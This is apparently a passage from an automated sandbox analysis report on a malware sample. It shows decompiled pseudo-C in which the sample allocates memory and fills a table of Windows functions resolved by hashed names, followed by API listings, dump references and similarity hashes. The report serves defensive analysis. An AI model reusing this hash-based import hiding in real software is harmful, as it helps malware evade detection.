                                                                                                                                                                                                                                                                                                      					_v8 = 0;
                                                                                                                                                                                                                                                                                                      					_push(0x4000);
                                                                                                                                                                                                                                                                                                      					_push( &_v8);
                                                                                                                                                                                                                                                                                                      					_push( &_a4);
                                                                                                                                                                                                                                                                                                      					_push(0xffffffff);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x10))))(); // executed
                                                                                                                                                                                                                                                                                                      					_push(0x8000);
                                                                                                                                                                                                                                                                                                      					_push( &_v8);
                                                                                                                                                                                                                                                                                                      					_push( &_a4);
                                                                                                                                                                                                                                                                                                      					_push(0xffffffff);
                                                                                                                                                                                                                                                                                                      					_t15 =  *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x10))))(); // executed
                                                                                                                                                                                                                                                                                                      					return _t15;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _t9;
                                                                                                                                                                                                                                                                                                      			}






                                                                                                                                                                                                                                                                                                      0x00407708
                                                                                                                                                                                                                                                                                                      0x0040770a
                                                                                                                                                                                                                                                                                                      0x00407711
                                                                                                                                                                                                                                                                                                      0x00407719
                                                                                                                                                                                                                                                                                                      0x0040771d
                                                                                                                                                                                                                                                                                                      0x0040771e
                                                                                                                                                                                                                                                                                                      0x00407728
                                                                                                                                                                                                                                                                                                      0x0040772a
                                                                                                                                                                                                                                                                                                      0x00407732
                                                                                                                                                                                                                                                                                                      0x00407736
                                                                                                                                                                                                                                                                                                      0x00407737
                                                                                                                                                                                                                                                                                                      0x00407741
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00407741
                                                                                                                                                                                                                                                                                                      0x00407746

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00004000,00000000), ref: 00407728
                                                                                                                                                                                                                                                                                                      • NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 00407741
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.233301539.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233297321.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233314377.0000000000415000.00000004.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233328806.0000000000431000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: FreeMemoryVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3963845541-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 0aa5d862a1c4d01f3cab174dd2376a75eabed4cad47a1d7adf9bd77453efb78a
                                                                                                                                                                                                                                                                                                      • Instruction ID: e8df39edf56b83cbe1bf1e94d937c9c54764609476b64aa3ec5cfaaf3272f9f4
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0aa5d862a1c4d01f3cab174dd2376a75eabed4cad47a1d7adf9bd77453efb78a
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 82E03071514108BBD704DF80CC41FDE736CAB40360F208399B5245B1E0EAB0AA44C7E5
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 256 4016f0-401711 call 401000 259 401717-401739 call 401080 256->259 260 402d49-402d4f 256->260 259->260 263 40173f-40175f NtAllocateVirtualMemory 259->263 263->260 264 401765-402a1f call 401080 * 108 call 401200 * 60 263->264 601 402d34-402d39 call 40a880 call 404660 264->601 602 402a25-402d2e call 401200 * 27 264->602 609 402d3e-402d40 601->609 602->601 609->260 611 402d42 609->611 611->260
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                      			E004016F0(void* __eflags, intOrPtr _a4) {
                                                                                                                                                                                                                                                                                                      				intOrPtr _v8;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v12;
                                                                                                                                                                                                                                                                                                      				long _v16;
                                                                                                                                                                                                                                                                                                      				long _v20;
                                                                                                                                                                                                                                                                                                      				void _t322;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t323;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t324;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t326;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t328;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t329;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t330;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t331;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t332;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t333;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t334;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t335;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t336;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t337;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t338;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t339;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t340;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t341;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t342;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t343;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t344;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t345;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t346;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t347;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t348;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t349;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t350;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t351;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t352;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t353;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t354;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t355;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t356;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t357;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t358;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t359;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t360;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t361;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t362;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t363;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t364;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t365;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t366;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t367;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t368;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t369;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t370;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t371;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t372;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t373;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t374;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t375;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t376;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t377;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t378;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t379;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t380;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t381;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t382;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t383;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t384;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t385;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t386;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t387;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t388;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t389;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t390;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t391;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t392;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t393;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t394;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t395;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t396;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t397;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t398;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t399;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t400;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t401;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t402;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t403;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t404;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t405;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t406;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t407;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t408;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t409;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t410;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t411;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t412;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t413;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t414;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t415;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t416;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t417;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t418;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t419;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t420;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t421;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t422;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t423;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t424;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t425;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t426;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t427;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t428;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t429;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t430;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t431;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t432;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t433;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t434;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t435;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t436;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t437;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t438;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t439;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t440;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t441;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t442;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t443;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t444;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t445;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t446;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t447;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t448;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t449;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t450;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t451;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t452;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t453;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t454;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t455;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t456;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t457;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t458;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t459;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t460;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t461;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t462;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t463;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t464;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t465;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t466;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t467;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t468;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t469;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t470;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t471;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t472;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t473;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t474;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t475;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t476;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t477;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t478;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t479;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t480;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t481;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t482;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t483;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t484;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t485;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t486;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t487;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t488;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t489;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t490;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t491;
                                                                                                                                                                                                                                                                                                      				void* _t493;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t494;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t495;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t496;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t497;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t498;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t499;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t500;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t501;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t502;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t503;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t504;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t505;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t506;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t507;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t508;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t509;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t510;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t511;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t512;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t513;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t514;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t515;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t516;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t517;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t518;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t519;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t520;
                                                                                                                                                                                                                                                                                                      				void* _t522;
                                                                                                                                                                                                                                                                                                      				void* _t523;
                                                                                                                                                                                                                                                                                                      				void* _t524;
                                                                                                                                                                                                                                                                                                      				void* _t526;
                                                                                                                                                                                                                                                                                                      				void* _t527;
                                                                                                                                                                                                                                                                                                      				void* _t528;
                                                                                                                                                                                                                                                                                                      				void* _t529;
                                                                                                                                                                                                                                                                                                      				void* _t530;
                                                                                                                                                                                                                                                                                                      				void* _t531;
                                                                                                                                                                                                                                                                                                      				void* _t532;
                                                                                                                                                                                                                                                                                                      				void* _t533;
                                                                                                                                                                                                                                                                                                      				void* _t534;
                                                                                                                                                                                                                                                                                                      				void* _t535;
                                                                                                                                                                                                                                                                                                      				void* _t536;
                                                                                                                                                                                                                                                                                                      				void* _t537;
                                                                                                                                                                                                                                                                                                      				void* _t538;
                                                                                                                                                                                                                                                                                                      				void* _t539;
                                                                                                                                                                                                                                                                                                      				void* _t540;
                                                                                                                                                                                                                                                                                                      				void* _t541;
                                                                                                                                                                                                                                                                                                      				void* _t542;
                                                                                                                                                                                                                                                                                                      				void* _t543;
                                                                                                                                                                                                                                                                                                      				void* _t544;
                                                                                                                                                                                                                                                                                                      				void* _t545;
                                                                                                                                                                                                                                                                                                      				void* _t546;
                                                                                                                                                                                                                                                                                                      				void* _t547;
                                                                                                                                                                                                                                                                                                      				void* _t548;
                                                                                                                                                                                                                                                                                                      				void* _t549;
                                                                                                                                                                                                                                                                                                      				void* _t550;
                                                                                                                                                                                                                                                                                                      				void* _t551;
                                                                                                                                                                                                                                                                                                      				void* _t552;
                                                                                                                                                                                                                                                                                                      				void* _t553;
                                                                                                                                                                                                                                                                                                      				void* _t554;
                                                                                                                                                                                                                                                                                                      				void* _t555;
                                                                                                                                                                                                                                                                                                      				void* _t556;
                                                                                                                                                                                                                                                                                                      				void* _t557;
                                                                                                                                                                                                                                                                                                      				void* _t558;
                                                                                                                                                                                                                                                                                                      				void* _t559;
                                                                                                                                                                                                                                                                                                      				void* _t560;
                                                                                                                                                                                                                                                                                                      				void* _t561;
                                                                                                                                                                                                                                                                                                      				void* _t562;
                                                                                                                                                                                                                                                                                                      				void* _t563;
                                                                                                                                                                                                                                                                                                      				void* _t564;
                                                                                                                                                                                                                                                                                                      				void* _t565;
                                                                                                                                                                                                                                                                                                      				void* _t566;
                                                                                                                                                                                                                                                                                                      				void* _t567;
                                                                                                                                                                                                                                                                                                      				void* _t568;
                                                                                                                                                                                                                                                                                                      				void* _t569;
                                                                                                                                                                                                                                                                                                      				void* _t570;
                                                                                                                                                                                                                                                                                                      				void* _t571;
                                                                                                                                                                                                                                                                                                      				void* _t572;
                                                                                                                                                                                                                                                                                                      				void* _t573;
                                                                                                                                                                                                                                                                                                      				void* _t574;
                                                                                                                                                                                                                                                                                                      				void* _t575;
                                                                                                                                                                                                                                                                                                      				void* _t576;
                                                                                                                                                                                                                                                                                                      				void* _t577;
                                                                                                                                                                                                                                                                                                      				void* _t578;
                                                                                                                                                                                                                                                                                                      				void* _t579;
                                                                                                                                                                                                                                                                                                      				void* _t580;
                                                                                                                                                                                                                                                                                                      				void* _t581;
                                                                                                                                                                                                                                                                                                      				void* _t582;
                                                                                                                                                                                                                                                                                                      				void* _t583;
                                                                                                                                                                                                                                                                                                      				void* _t584;
                                                                                                                                                                                                                                                                                                      				void* _t585;
                                                                                                                                                                                                                                                                                                      				void* _t586;
                                                                                                                                                                                                                                                                                                      				void* _t587;
                                                                                                                                                                                                                                                                                                      				void* _t588;
                                                                                                                                                                                                                                                                                                      				void* _t589;
                                                                                                                                                                                                                                                                                                      				void* _t590;
                                                                                                                                                                                                                                                                                                      				void* _t591;
                                                                                                                                                                                                                                                                                                      				void* _t592;
                                                                                                                                                                                                                                                                                                      				void* _t593;
                                                                                                                                                                                                                                                                                                      				void* _t594;
                                                                                                                                                                                                                                                                                                      				void* _t595;
                                                                                                                                                                                                                                                                                                      				void* _t596;
                                                                                                                                                                                                                                                                                                      				void* _t597;
                                                                                                                                                                                                                                                                                                      				void* _t598;
                                                                                                                                                                                                                                                                                                      				void* _t599;
                                                                                                                                                                                                                                                                                                      				void* _t600;
                                                                                                                                                                                                                                                                                                      				void* _t601;
                                                                                                                                                                                                                                                                                                      				void* _t602;
                                                                                                                                                                                                                                                                                                      				void* _t603;
                                                                                                                                                                                                                                                                                                      				void* _t604;
                                                                                                                                                                                                                                                                                                      				void* _t605;
                                                                                                                                                                                                                                                                                                      				void* _t606;
                                                                                                                                                                                                                                                                                                      				void* _t607;
                                                                                                                                                                                                                                                                                                      				void* _t608;
                                                                                                                                                                                                                                                                                                      				void* _t609;
                                                                                                                                                                                                                                                                                                      				void* _t610;
                                                                                                                                                                                                                                                                                                      				void* _t611;
                                                                                                                                                                                                                                                                                                      				void* _t612;
                                                                                                                                                                                                                                                                                                      				void* _t613;
                                                                                                                                                                                                                                                                                                      				void* _t614;
                                                                                                                                                                                                                                                                                                      				void* _t615;
                                                                                                                                                                                                                                                                                                      				void* _t616;
                                                                                                                                                                                                                                                                                                      				void* _t617;
                                                                                                                                                                                                                                                                                                      				void* _t618;
                                                                                                                                                                                                                                                                                                      				void* _t619;
                                                                                                                                                                                                                                                                                                      				void* _t620;
                                                                                                                                                                                                                                                                                                      				void* _t621;
                                                                                                                                                                                                                                                                                                      				void* _t622;
                                                                                                                                                                                                                                                                                                      				void* _t623;
                                                                                                                                                                                                                                                                                                      				void* _t624;
                                                                                                                                                                                                                                                                                                      				void* _t625;
                                                                                                                                                                                                                                                                                                      				void* _t626;
                                                                                                                                                                                                                                                                                                      				void* _t627;
                                                                                                                                                                                                                                                                                                      				void* _t628;
                                                                                                                                                                                                                                                                                                      				void* _t629;
                                                                                                                                                                                                                                                                                                      				void* _t630;
                                                                                                                                                                                                                                                                                                      				void* _t631;
                                                                                                                                                                                                                                                                                                      				void* _t632;
                                                                                                                                                                                                                                                                                                      				void* _t633;
                                                                                                                                                                                                                                                                                                      				void* _t634;
                                                                                                                                                                                                                                                                                                      				void* _t635;
                                                                                                                                                                                                                                                                                                      				void* _t636;
                                                                                                                                                                                                                                                                                                      				void* _t637;
                                                                                                                                                                                                                                                                                                      				void* _t638;
                                                                                                                                                                                                                                                                                                      				void* _t639;
                                                                                                                                                                                                                                                                                                      				void* _t640;
                                                                                                                                                                                                                                                                                                      				void* _t641;
                                                                                                                                                                                                                                                                                                      				void* _t642;
                                                                                                                                                                                                                                                                                                      				void* _t643;
                                                                                                                                                                                                                                                                                                      				void* _t644;
                                                                                                                                                                                                                                                                                                      				void* _t645;
                                                                                                                                                                                                                                                                                                      				void* _t646;
                                                                                                                                                                                                                                                                                                      				void* _t647;
                                                                                                                                                                                                                                                                                                      				void* _t648;
                                                                                                                                                                                                                                                                                                      				void* _t649;
                                                                                                                                                                                                                                                                                                      				void* _t650;
                                                                                                                                                                                                                                                                                                      				void* _t651;
                                                                                                                                                                                                                                                                                                      				void* _t652;
                                                                                                                                                                                                                                                                                                      				void* _t653;
                                                                                                                                                                                                                                                                                                      				void* _t654;
                                                                                                                                                                                                                                                                                                      				void* _t655;
                                                                                                                                                                                                                                                                                                      				void* _t656;
                                                                                                                                                                                                                                                                                                      				void* _t657;
                                                                                                                                                                                                                                                                                                      				void* _t658;
                                                                                                                                                                                                                                                                                                      				void* _t659;
                                                                                                                                                                                                                                                                                                      				void* _t660;
                                                                                                                                                                                                                                                                                                      				void* _t661;
                                                                                                                                                                                                                                                                                                      				void* _t662;
                                                                                                                                                                                                                                                                                                      				void* _t663;
                                                                                                                                                                                                                                                                                                      				void* _t664;
                                                                                                                                                                                                                                                                                                      				void* _t665;
                                                                                                                                                                                                                                                                                                      				void* _t666;
                                                                                                                                                                                                                                                                                                      				void* _t667;
                                                                                                                                                                                                                                                                                                      				void* _t668;
                                                                                                                                                                                                                                                                                                      				void* _t669;
                                                                                                                                                                                                                                                                                                      				void* _t670;
                                                                                                                                                                                                                                                                                                      				void* _t671;
                                                                                                                                                                                                                                                                                                      				void* _t672;
                                                                                                                                                                                                                                                                                                      				void* _t676;
                                                                                                                                                                                                                                                                                                      				void* _t677;
                                                                                                                                                                                                                                                                                                      				void* _t781;
                                                                                                                                                                                                                                                                                                      				void* _t782;
                                                                                                                                                                                                                                                                                                      				void* _t783;
                                                                                                                                                                                                                                                                                                      				void* _t784;
                                                                                                                                                                                                                                                                                                      				void* _t785;
                                                                                                                                                                                                                                                                                                      				void* _t786;
                                                                                                                                                                                                                                                                                                      				void* _t787;
                                                                                                                                                                                                                                                                                                      				void* _t788;
                                                                                                                                                                                                                                                                                                      				void* _t789;
                                                                                                                                                                                                                                                                                                      				void* _t790;
                                                                                                                                                                                                                                                                                                      				void* _t791;
                                                                                                                                                                                                                                                                                                      				void* _t792;
                                                                                                                                                                                                                                                                                                      				void* _t793;
                                                                                                                                                                                                                                                                                                      				void* _t794;
                                                                                                                                                                                                                                                                                                      				void* _t795;
                                                                                                                                                                                                                                                                                                      				void* _t796;
                                                                                                                                                                                                                                                                                                      				void* _t797;
                                                                                                                                                                                                                                                                                                      				void* _t798;
                                                                                                                                                                                                                                                                                                      				void* _t799;
                                                                                                                                                                                                                                                                                                      				void* _t800;
                                                                                                                                                                                                                                                                                                      				void* _t801;
                                                                                                                                                                                                                                                                                                      				void* _t802;
                                                                                                                                                                                                                                                                                                      				void* _t803;
                                                                                                                                                                                                                                                                                                      				void* _t804;
                                                                                                                                                                                                                                                                                                      				void* _t805;
                                                                                                                                                                                                                                                                                                      				void* _t806;
                                                                                                                                                                                                                                                                                                      				void* _t807;
                                                                                                                                                                                                                                                                                                      				void* _t808;
                                                                                                                                                                                                                                                                                                      				void* _t809;
                                                                                                                                                                                                                                                                                                      				void* _t810;
                                                                                                                                                                                                                                                                                                      				void* _t811;
                                                                                                                                                                                                                                                                                                      				void* _t812;
                                                                                                                                                                                                                                                                                                      				void* _t813;
                                                                                                                                                                                                                                                                                                      				void* _t814;
                                                                                                                                                                                                                                                                                                      				void* _t815;
                                                                                                                                                                                                                                                                                                      				void* _t816;
                                                                                                                                                                                                                                                                                                      				void* _t817;
                                                                                                                                                                                                                                                                                                      				void* _t818;
                                                                                                                                                                                                                                                                                                      				void* _t819;
                                                                                                                                                                                                                                                                                                      				void* _t820;
                                                                                                                                                                                                                                                                                                      				void* _t821;
                                                                                                                                                                                                                                                                                                      				void* _t822;
                                                                                                                                                                                                                                                                                                      				void* _t823;
                                                                                                                                                                                                                                                                                                      				void* _t824;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v16 = 0;
                                                                                                                                                                                                                                                                                                      				_v8 = E00401000(0x84c05e40);
                                                                                                                                                                                                                                                                                                      				if(_v8 != 0) {
                                                                                                                                                                                                                                                                                                      					 *0x42fc04 = 0;
                                                                                                                                                                                                                                                                                                      					_v12 = E00401080(_v8, 0xd820a574);
                                                                                                                                                                                                                                                                                                      					if(_v12 != 0) {
                                                                                                                                                                                                                                                                                                      						_v20 = 0x310;
                                                                                                                                                                                                                                                                                                      						if(NtAllocateVirtualMemory(0xffffffff, 0x42fc04, 0,  &_v20, 0x3000, 4) >= 0) {
                                                                                                                                                                                                                                                                                                      							_t322 = E00401080(_v8, 0x180c0d23);
                                                                                                                                                                                                                                                                                                      							_t522 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *_t522 = _t322;
                                                                                                                                                                                                                                                                                                      							_t323 = E00401080(_v8, 0x183679f2);
                                                                                                                                                                                                                                                                                                      							_t523 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t523 + 4)) = _t323;
                                                                                                                                                                                                                                                                                                      							_t324 = E00401080(_v8, 0xb64c13ee);
                                                                                                                                                                                                                                                                                                      							_t524 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t524 + 8)) = _t324;
                                                                                                                                                                                                                                                                                                      							_t676 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t676 + 0xc)) = _v12;
                                                                                                                                                                                                                                                                                                      							_t326 = E00401080(_v8, 0xf97a25d4);
                                                                                                                                                                                                                                                                                                      							_t677 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t677 + 0x10)) = _t326;
                                                                                                                                                                                                                                                                                                      							_t328 = E00401080(_v8, 0xd2654135);
                                                                                                                                                                                                                                                                                                      							_t526 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t526 + 0x14)) = _t328;
                                                                                                                                                                                                                                                                                                      							_t329 = E00401080(_v8, 0xe8b3559);
                                                                                                                                                                                                                                                                                                      							_t527 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t527 + 0x18)) = _t329;
